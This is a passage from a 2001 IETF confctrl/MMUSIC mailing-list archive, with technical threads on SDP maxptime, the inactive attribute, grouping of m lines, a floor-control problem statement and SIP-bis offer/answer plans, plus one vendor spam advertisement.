  <p><font face="Arial, Helvetica, sans-serif" size="1" color="#FFFFFF">Microsoft, 
    Windows Media, and the Windows Logo are trademarks or registered <br>
    trademarks of Microsoft Corporation </font><font face="Arial, Helvetica, sans-serif" size="1" color="#FFFFFF">in 
    the United States and/or other countries.</font></p>
  </div>
</BODY>
</HTML>
 


From confctrl-owner  Tue Aug 21 00:21:47 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id AAA29419
	for confctrl-outgoing; Tue, 21 Aug 2001 00:21:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA29411
	for <confctrl@zephyr.isi.edu>; Tue, 21 Aug 2001 00:21:45 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7L7Lsm04634
	for <confctrl@ISI.EDU>; Tue, 21 Aug 2001 00:21:54 -0700 (PDT)
Received: from era-t.ericsson.se (koff.ericsson.se [147.214.173.137])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with SMTP id f7L7Lov17111;
	Tue, 21 Aug 2001 09:21:50 +0200 (MEST)
Received: from era-t.ericsson.se by era-t.ericsson.se (SMI-8.6/LME-DOM-2.2.5(ERA/T))
	id JAA22788; Tue, 21 Aug 2001 09:21:50 +0200
Message-ID: <3B820C10.A5504A3B@era-t.ericsson.se>
Date: Tue, 21 Aug 2001 09:21:52 +0200
From: Magnus Westerlund <magnus.westerlund@era-t.ericsson.se>
X-Mailer: Mozilla 4.74 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Flemming Andreasen <fandreas@cisco.com>, confctrl@ISI.EDU
Subject: Re: maxptime
References: <3B80C558.945E00FB@era-t.ericsson.se> <3B8188B6.136B4DD3@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Flemming and others,

So should a sentence like this be added to the maxptime definition?

"Note that this attribute is introduced after RFC 2327, and non updated
implementations will ignore this attribute."


> > But on the other side maxptime is only a suggested
> > attribute, and I don't see any requirments that is needs to be
> > implemented.
>
> That's a little weaker than I thought.
>

Yes, it is weak, but this is the requirement level attributes are defined on
in SDP. One way of making implementors aware of that they need to implement
this attribute is to make it an optional one in the MIME type for new payload
formats that desire to use this. All audio codecs in
draft-ietf-avt-rtp-mime-05.txt has ptime and maxptime as optional parameters,
and also the AMR and EVRC draft.

This creates a question regarding parameters in the MIME type for a payload
format. Any optional or required MIME parameter can go into the "a=fmtp:"
line. What are the implications for a parameter that are defined as an media
attribute, such as maxptime?

m=audio 49120 RTP/AVP 99
a=rtpmap:99 AMR-WB/16000
a=fmtp:99 maxptime=60; interleaving=15
This is allowed.

But also this is.
m=audio 49120 RTP/AVP 99
a=rtpmap:99 AMR-WB/16000
a=fmtp:99 interleaving=15
a=maxptime:60

So what happens if I do this?
m=audio 49120 RTP/AVP 97 99
a=rtpmap:97 GSM-EFR/8000
a=maxptime:80
a=rtpmap:99 AMR-WB/16000
a=fmtp:99 maxptime:60;interleaving=15

Alternative 1.
Both codecs uses maxptime 80

Alternative 2.
PT 97 uses maxptime 80 and PT 99 uses maxptime 60

So SDP experts, what is the answer?

>
> Since we are on the subject anyway, I have a related question:
>
> Since "maxptime" is a media stream attribute, and we may have multiple
> codecs for a given media stream, how does one satisfy that
>
>         "The time SHOULD be a multiple of the frame size."
>
> There is a similar issue with "ptime" of course, but the language is
> somewhat weaker there.
>
> -- Flemming

I don't see that as a problem. If you have two codecs for a certain media that
has different frame lengths you can choose which multiple to use. For the
other codec you have a very valid reason why you don't meet that should.
Another possibility might be to specify different maxptime for each codec on
there separate "a=fmtp:" line.


Regards

Magnus Westerlund

Audio Technology, Ericsson Research
----------------------------------------------------------------------
Ericsson Radio Systems AB  | Phone +46 8 4048287
Torshamsgatan 23           | Fax   +46 8 7575550
S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se



From confctrl-owner  Tue Aug 21 04:09:34 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA08040
	for confctrl-outgoing; Tue, 21 Aug 2001 04:09:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA08035
	for <confctrl@zephyr.isi.edu>; Tue, 21 Aug 2001 04:09:33 -0700 (PDT)
Received: from rafi ([213.8.76.34])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7LB9em10950
	for <confctrl@isi.edu>; Tue, 21 Aug 2001 04:09:41 -0700 (PDT)
Received: from mail pickup service by rafi with Microsoft SMTPSVC;
	 Tue, 21 Aug 2001 14:09:52 +0200
From: <sales@seebex.com>
To: <confctrl@ISI.EDU>
Subject: Instant Messaging platform at your Web site is now a few clicks away
Date: Tue, 21 Aug 2001 14:09:52 +0200
Message-ID: <101001c12a3a$2f076c90$0200a8c0@rafi>
MIME-Version: 1.0
Content-Type: text/plain;	charset="iso-8859-1"
X-Mailer: Microsoft CDO for Windows 2000
Thread-Index: AcEqOi8HKMPT0zv8QKuPWE/ZZDm0sQ==
Content-Class: urn:content-classes:message
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 21 Aug 2001 12:09:52.0948 (UTC) FILETIME=[2F154F40:01C12A3A]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id EAA08036
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Instant Messaging platform at your Web site is now a few clicks away
----------------------------------------------------------------------
Install a FREE Instant Messaging server at your Web site. 
Use it as is or customize to meet your specific branding.
Cross platform servers line support 25 and up to 1000 concurrent users
All servers offered can be secured with RSA 512Bit (and higher) encryption!!
Download free 10 concurrent users server at:
http://www.seebex.com/download/get_server.asp

It is easier, faster and affordable than ever!!
For further information please check seebex Web site at: http://www.seebex.com
or contact our Marketing & Sales department  at sales@seebex.com

First 50 Web sites to download and embed the free 10 concurrent users server 
are entitled to a free 100 concurrent users server 
and will be listed on Seebex Web site.

From confctrl-owner  Tue Aug 21 04:27:50 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA08960
	for confctrl-outgoing; Tue, 21 Aug 2001 04:27:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA08955
	for <confctrl@zephyr.isi.edu>; Tue, 21 Aug 2001 04:27:49 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7LBRvm13200
	for <confctrl@isi.edu>; Tue, 21 Aug 2001 04:27:58 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA05066;
	Tue, 21 Aug 2001 07:26:39 -0400 (EDT)
Message-Id: <200108211126.HAA05066@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-fid-04.txt
Date: Tue, 21 Aug 2001 07:26:39 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Grouping of m lines in SDP
	Author(s)	: G. Camarillo, J. Holler, G. Eriksson, H. Schulzrinne
	Filename	: draft-ietf-mmusic-fid-04.txt
	Pages		: 17
	Date		: 20-Aug-01
	
This document defines two SDP attributes: 'groupe' and 'mid'. They
allow to group together several 'm' lines for two different
purposes: for lip synchronization and for receiving media from a
single flow (several media streams), encoded in different formats
during a particular session, in different ports and host interfaces.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-fid-04.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-fid-04.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-fid-04.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010820135746.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-fid-04.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-fid-04.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010820135746.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Aug 21 12:56:37 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA06224
	for confctrl-outgoing; Tue, 21 Aug 2001 12:56:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA06217
	for <confctrl@zephyr.isi.edu>; Tue, 21 Aug 2001 12:56:36 -0700 (PDT)
Received: from mgw-dax2.ext.nokia.com (mgw-dax2.ext.nokia.com [63.78.179.217])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7LJuem29585;
	Tue, 21 Aug 2001 12:56:40 -0700 (PDT)
Received: from davir01nok.americas.nokia.com (davir01nok.americas.nokia.com [172.18.242.84])
	by mgw-dax2.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f7LJvkI27488;
	Tue, 21 Aug 2001 14:57:46 -0500 (CDT)
Received: from daebh001.NOE.Nokia.com (unverified) by davir01nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5582083e65ac12f254079@davir01nok.americas.nokia.com>;
 Tue, 21 Aug 2001 14:56:38 -0500
content-class: urn:content-classes:message
Subject: RE: Session control protocol instantiation discussion within the IETF 
Date: Tue, 21 Aug 2001 14:55:58 -0500
Message-ID: <B9CFA6CE8FFDD211A1FB0008C7894E4604B9E793@bseis01nok>
X-MS-Has-Attach: 
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-MS-TNEF-Correlator: 
Thread-Topic: RE: Session control protocol instantiation discussion within the IETF 
Thread-Index: AcEqe0stkykBmLE2SC+HdMALGd5lmQ==
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
From: "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>
To: <mankin@ISI.EDU>, "'Michael Luby'" <luby@digitalfountain.com>
Cc: "'Rob Lanphier'" <robla@real.com>, "'Ross Finlayson'" <finlayson@live.com>,
        "'Rmt@Lbl. Gov'" <rmt@lbl.gov>, <confctrl@ISI.EDU>, <sob@harvard.edu>,
        "'ietf-floor control'" <flr-ctrl-grp@network2.cs.usm.my>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id MAA06218
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sorry if you received multiple copies. I'm resending this due to
mailing problems.
------------------------------------------------------------------------

Hi all,

as announced on the MMUSIC mailing list, a couple of people
being interested in conference course control met on Wednesday
August 8th (10-11pm) during the London IETF meeting to discuss 
further steps in this direction.

The following persons were present during this informal meeting:
Jun-Won Lee, Shin-Gak Kang, Jonathan Rosenberg, Eunsook Kim,
Colin Perkins, Joerg Ott, Dirk Kutscher, Dirk Trossen

During the meeting, a general interest in this topic was
expressed by the attendents. However, the concern was
raised (by Jonathan, Joerg, and Colin) that the scope
of the work has to be defined very carefully. Especially
Jonathan expressed interest in 'doable' solutions, i.e.,
covering rather simple centralized conferencing scenarios
first rather than defining a wide scope of the work.

The following steps have been proposed to be undertaken in
this direction:
- provision of a problem statement document
- submission to mailing list(s)
- creation of own discussion list for this topic

The problem statement document should be created by a circle
of people being interested in this topic and willing to contribute
to this work. 
The discussion of the problem statement should end in a
decision how to bring this topic to the IETF within the
therein defined scope, either within the charter of existing
WGs or by organizing a BOF.

Since similar discussions about future session control efforts 
have been undertaken within the RMT WG, I'm sending this mail 
also to this list to invite interested people to join the discussion.

Enclosed you find the current document which was meant as a 
problem statement for conference course control. This document
is far from being completed (it was not submitted as a draft although
it is written in Internet draft style) but it is intended as a basis
for discussion to reach final document status.

Any comments are welcome.

Best Regards,




Dirk Trossen
-----------------------
Dirk Trossen
Nokia Research Center
5 Wayside Road
Burlington, MA 01803
Tel: +1 (781) 993 3605
Fax: +1 (781) 993 1907
mob: +1 (617) 794 7041
-----------------------

> -----Original Message-----
> From: ext Allison Mankin [mailto:mankin@ISI.EDU]
> Sent: Wednesday, August 08, 2001 11:49 PM
> To: Michael Luby
> Cc: Rob Lanphier; Ross Finlayson; Rmt@Lbl. Gov; confctrl@ISI.EDU;
> Allison Mankin; sob@harvard.edu
> Subject: Re: Session control protocol instantiation discussion within
> the IETF 
> 
> 
> Mike,
> 
> We ADs would be happy to talk with you about this sometime (but after 
> we all recover from IETF).  
> 
> Having had one hallway talk with you while you were in London,
> I think there is some value to discussing session work (without
> prejudging if it would extend an existing charter or start up in
> a new situation of some sort).
> 
> Mike Luby wrote:
> > All,
> > I unfortunately was only at the IETF for a couple of days, 
> and am back in
> > the Bay Area now.  I would first like to talk with the 
> transport area
> > directorate (Scott and Allison) to get some advice on this, and then
> > probably followup with a conference call with whoever is 
> interested.  Would
> > a conference call be ok with you Rob, Ross (and whoever else is
> > interested?).
> > Mike
> > 
> 

From confctrl-owner  Tue Aug 21 14:03:00 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA10015
	for confctrl-outgoing; Tue, 21 Aug 2001 14:03:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA10010
	for <confctrl@zephyr.isi.edu>; Tue, 21 Aug 2001 14:03:00 -0700 (PDT)
Received: from multicasttech.com (IDENT:root@lennon.multicasttech.com [63.105.122.7])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7LL37m20336;
	Tue, 21 Aug 2001 14:03:07 -0700 (PDT)
Received: from [63.105.122.193] (account marshall_eubanks HELO 21rst-century.com)
  by multicasttech.com (CommuniGate Pro SMTP 3.4.8)
  with ESMTP id 1069763; Tue, 21 Aug 2001 16:57:59 -0400
Message-ID: <3B82CC8A.AB7C0BC@21rst-century.com>
Date: Tue, 21 Aug 2001 17:03:09 -0400
From: Marshall Eubanks <tme@21rst-century.com>
Reply-To: tme@21rst-century.com
Organization: Multicast Technologies
X-Mailer: Mozilla 4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>
CC: mankin@ISI.EDU, Michael Luby <luby@digitalfountain.com>,
        Rob Lanphier <robla@real.com>, Ross Finlayson <finlayson@live.com>,
        "Rmt@Lbl. Gov" <rmt@lbl.gov>, confctrl@ISI.EDU, sob@harvard.edu,
        ietf-floor control <flr-ctrl-grp@network2.cs.usm.my>
Subject: Re: Session control protocol instantiation discussion within the IETF
References: <B9CFA6CE8FFDD211A1FB0008C7894E4604B9E792@bseis01nok>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

"Trossen Dirk (NRC/Boston)" wrote:

> Hi all,
>
> as announced on the MMUSIC mailing list, a couple of people
> being interested in conference course control met on Wednesday
> August 8th (10-11pm) during the London IETF meeting to discuss
> further steps in this direction.
>
> The following persons were present during this informal meeting:
> Jun-Won Lee, Shin-Gak Kang, Jonathan Rosenberg, Eunsook Kim,
> Colin Perkins, Joerg Ott, Dirk Kutscher, Dirk Trossen
>
> During the meeting, a general interest in this topic was
> expressed by the attendents. However, the concern was
> raised (by Jonathan, Joerg, and Colin) that the scope
> of the work has to be defined very carefully. Especially
> Jonathan expressed interest in 'doable' solutions, i.e.,
> covering rather simple centralized conferencing scenarios
> first rather than defining a wide scope of the work.
>
> The following steps have been proposed to be undertaken in
> this direction:
> - provision of a problem statement document
> - submission to mailing list(s)
> - creation of own discussion list for this topic
>
> The problem statement document should be created by a circle
> of people being interested in this topic and willing to contribute
> to this work.
> The discussion of the problem statement should end in a
> decision how to bring this topic to the IETF within the
> therein defined scope, either within the charter of existing
> WGs or by organizing a BOF.
>
> Since similar discussions about future session control efforts
> have been undertaken within the RMT WG, I'm sending this mail
> also to this list to invite interested people to join the discussion.
>
> Enclosed you find the current document which was meant as a
> problem statement for conference course control. This document
> is far from being completed (it was not submitted as a draft although
> it is written in Internet draft style) but it is intended as a basis
> for discussion to reach final document status.
>
> Any comments are welcome.
>
> Best Regards,
>
> Dirk Trossen
> -----------------------
> Dirk Trossen
> Nokia Research Center
> 5 Wayside Road
> Burlington, MA 01803
> Tel: +1 (781) 993 3605
> Fax: +1 (781) 993 1907
> mob: +1 (617) 794 7041
> -----------------------
>
> > -----Original Message-----
> > From: ext Allison Mankin [mailto:mankin@ISI.EDU]
> > Sent: Wednesday, August 08, 2001 11:49 PM
> > To: Michael Luby
> > Cc: Rob Lanphier; Ross Finlayson; Rmt@Lbl. Gov; confctrl@ISI.EDU;
> > Allison Mankin; sob@harvard.edu
> > Subject: Re: Session control protocol instantiation discussion within
> > the IETF
> >
> >
> > Mike,
> >
> > We ADs would be happy to talk with you about this sometime (but after
> > we all recover from IETF).
> >
> > Having had one hallway talk with you while you were in London,
> > I think there is some value to discussing session work (without
> > prejudging if it would extend an existing charter or start up in
> > a new situation of some sort).
> >
> > Mike Luby wrote:
> > > All,
> > > I unfortunately was only at the IETF for a couple of days,
> > and am back in
> > > the Bay Area now.  I would first like to talk with the
> > transport area
> > > directorate (Scott and Allison) to get some advice on this, and then
> > > probably followup with a conference call with whoever is
> > interested.  Would
> > > a conference call be ok with you Rob, Ross (and whoever else is
> > > interested?).
> > > Mike
> > >
> >
>
>   ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
>                                       Name: draft-trossen-problem-00.txt
>    draft-trossen-problem-00.txt       Type: Plain Text (text/plain)
>                                   Encoding: base64
>                                Description: draft-trossen-problem-00.txt

Are you planning to set up a separate mailing list devoted to this ?

--
                                 Regards
                                 Marshall Eubanks


T.M. Eubanks
Multicast Technologies, Inc
10301 Democracy Lane, Suite 410
Fairfax, Virginia 22030
Phone : 703-293-9624       Fax     : 703-293-9609
e-mail : tme@multicasttech.com
http://www.on-the-i.com

Test your network for multicast : http://www.multicasttech.com/mt/
 Check the status of multicast in real time :
 http://www.multicasttech.com/status/index.html



From confctrl-owner  Tue Aug 21 18:47:47 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id SAA25094
	for confctrl-outgoing; Tue, 21 Aug 2001 18:47:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA25089
	for <confctrl@zephyr.isi.edu>; Tue, 21 Aug 2001 18:47:46 -0700 (PDT)
Received: from cs.usm.my (cs.usm.my [161.142.8.1])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7M1lqm23489;
	Tue, 21 Aug 2001 18:47:53 -0700 (PDT)
Received: from cs.usm.my (cs.usm.my [161.142.8.1])
	by cs.usm.my (8.11.4/8.11.4) with ESMTP id f7M1ljp17732;
	Wed, 22 Aug 2001 09:47:45 +0800 (SGT)
Date: Wed, 22 Aug 2001 09:47:45 +0800 (SGT)
From: Sureswaran Ramadass <sures@cs.usm.my>
To: Marshall Eubanks <tme@21rst-century.com>
cc: "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>, <mankin@ISI.EDU>,
        Michael Luby <luby@digitalfountain.com>, Rob Lanphier <robla@real.com>,
        Ross Finlayson <finlayson@live.com>, "Rmt@Lbl. Gov" <rmt@lbl.gov>,
        <confctrl@ISI.EDU>, <sob@harvard.edu>,
        Gopinath Rao <gopi@network2.cs.usm.my>,
        ietf-floor control <flr-ctrl-grp@network2.cs.usm.my>
Subject: Re: Session control protocol instantiation discussion within the
 IETF
In-Reply-To: <3B82CC8A.AB7C0BC@21rst-century.com>
Message-ID: <Pine.GSO.4.33.0108220944050.17647-100000@cs.usm.my>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Marshall,
Yes, there currently is an email list. It is
flr-ctrl-grp@network2.cs.usm.my

To be added to the group, simple email your request to gopi@nrg.cs.usm.my

Thanks for your interest and thanks to Dirk for getting this group
moving.

Sures.

> Are you planning to set up a separate mailing list devoted to this ?
>
> --
>                                  Regards
>                                  Marshall Eubanks
>
>
> T.M. Eubanks
> Multicast Technologies, Inc
> 10301 Democracy Lane, Suite 410
> Fairfax, Virginia 22030
> Phone : 703-293-9624       Fax     : 703-293-9609
> e-mail : tme@multicasttech.com
> http://www.on-the-i.com
>
> Test your network for multicast : http://www.multicasttech.com/mt/
>  Check the status of multicast in real time :
>  http://www.multicasttech.com/status/index.html
>
>
>

Dr. Sureswaran Ramadass
Programme Chairman &		email: 	sures@cs.usm.my
Head of Network Research,	tel:	604-8603004
School of Computer Sciences	fax:	604-6573335
University of Science,		http://network2.cs.usm.my
11800 Penang, Malaysia



From confctrl-owner  Wed Aug 22 11:21:56 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id LAA07359
	for confctrl-outgoing; Wed, 22 Aug 2001 11:21:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA07352
	for <confctrl@zephyr.isi.edu>; Wed, 22 Aug 2001 11:21:54 -0700 (PDT)
Received: from mail1.dynamicsoft.com ([63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7MIM3m11651
	for <confctrl@isi.edu>; Wed, 22 Aug 2001 11:22:03 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f7MIKarN017435;
	Wed, 22 Aug 2001 14:20:36 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <RBX3AVLW>; Wed, 22 Aug 2001 14:21:23 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D6614@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Miguel A. Garcia'" <Miguel.A.Garcia@ericsson.com>, sip@ietf.org,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: new SDP in RFC 2543bis?
Date: Wed, 22 Aug 2001 14:21:18 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Miguel A. Garcia [mailto:Miguel.A.Garcia@ericsson.com]
> Sent: Friday, August 17, 2001 5:52 AM
> To: sip@ietf.org; jdrosen@dynamicsoft.com
> Subject: new SDP in RFC 2543bis?
> 
> 
> Hi:
> 
> I remember that in the MMUSIC meeting in London, Jonathan 
> mentioned that RFC 2543bis depends on the new SDP draft. 
> However, RFC 2543bis-04 references RFC 2327 (classic SDP). Is 
> this going to be fixed in new versions of RFC 2543bis? Or am 
> I missing something?

I don't think anything in the *current* SDP usage is dependent on SDP-bis.
The whole SDP/SIP issue was discussed at IETF, and the following was the
consensus of the meeting:

1. Appendix B of bis will be removed from bis. It will instead become a
standalone draft, done through mmusic.

2. This draft will not be sip specific, but rather define an offer/answer
paradigm with SDP.

3. The draft will only reference rfc2327, not sdp-bis. Thats because SIP-bis
depends on this draft, and if this draft depending on sdp-bis, SIP-bis could
not go to RFC until sdp-bis did. Since sdp-bis is going out as draft
standard, the bar is very high for that and it will likely take a very long
time until an rfc number is assigned (look at how long RTP has taken - YEARS
since it was started, and still not done). The only real issue is the
a=inactive attribute. My easy fix for that is for the offer/answer draft to
reference rfc3108 (ATM SDP) which defines this for the first time.

4. SIP-bis will reference this new draft, explaining how to encapsulate the
offer/answer model into sip messages. 


The result is a nice generalization of a usage of sdp that is appropriate
for other protocols too, and a needed shortening of the sip-bis spec.

So, if anyone objects to this plan, speak now. I will be ripping this
appendix out of bis in about two weeks and resubmitting it as standalone at
that time.

-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Wed Aug 22 11:37:34 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id LAA08622
	for confctrl-outgoing; Wed, 22 Aug 2001 11:37:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA08617
	for <confctrl@zephyr.isi.edu>; Wed, 22 Aug 2001 11:37:33 -0700 (PDT)
Received: from mail1.dynamicsoft.com ([63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7MIbgm19469
	for <confctrl@ISI.EDU>; Wed, 22 Aug 2001 11:37:43 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f7MISkrN017535;
	Wed, 22 Aug 2001 14:28:46 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <RBX3AVMZ>; Wed, 22 Aug 2001 14:29:33 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D6616@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Colin Perkins'" <csp@purple.cs.ucl.ac.uk>,
        Gonzalo Camarillo
	 <Gonzalo.Camarillo@lmf.ericsson.se>
Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, sip@ietf.org,
        mmusic
	 <confctrl@ISI.EDU>
Subject: RE: [Sip] Re: SDP hold 
Date: Wed, 22 Aug 2001 14:29:30 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

So, here is an important question on the inactive attribute. If a stream is
inactive, is RTCP sent? I think it probably should, actually... RTCP helps
to keep state alive in various places, and this session is still alive, just
suspended.

THoughts?

-Jonathan R.


---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com
 

> -----Original Message-----
> From: Colin Perkins [mailto:csp@purple.cs.ucl.ac.uk]
> Sent: Wednesday, August 15, 2001 5:30 AM
> To: Gonzalo Camarillo
> Cc: Jonathan Rosenberg; sip@ietf.org; mmusic
> Subject: Re: [Sip] Re: SDP hold 
> 
> >a=inactive
> >    This specifies that the tools should be started in inactive
> >    mode.  This is necessary for interactive conferences 
> where users can
> >put other users on hold. No media is sent over an inactive 
> media stream.
> >It can be either a session or media attribute, and is not 
> dependent on
> >charset.

From confctrl-owner  Wed Aug 22 12:20:59 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA11182
	for confctrl-outgoing; Wed, 22 Aug 2001 12:20:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA11177
	for <confctrl@zephyr.isi.edu>; Wed, 22 Aug 2001 12:20:58 -0700 (PDT)
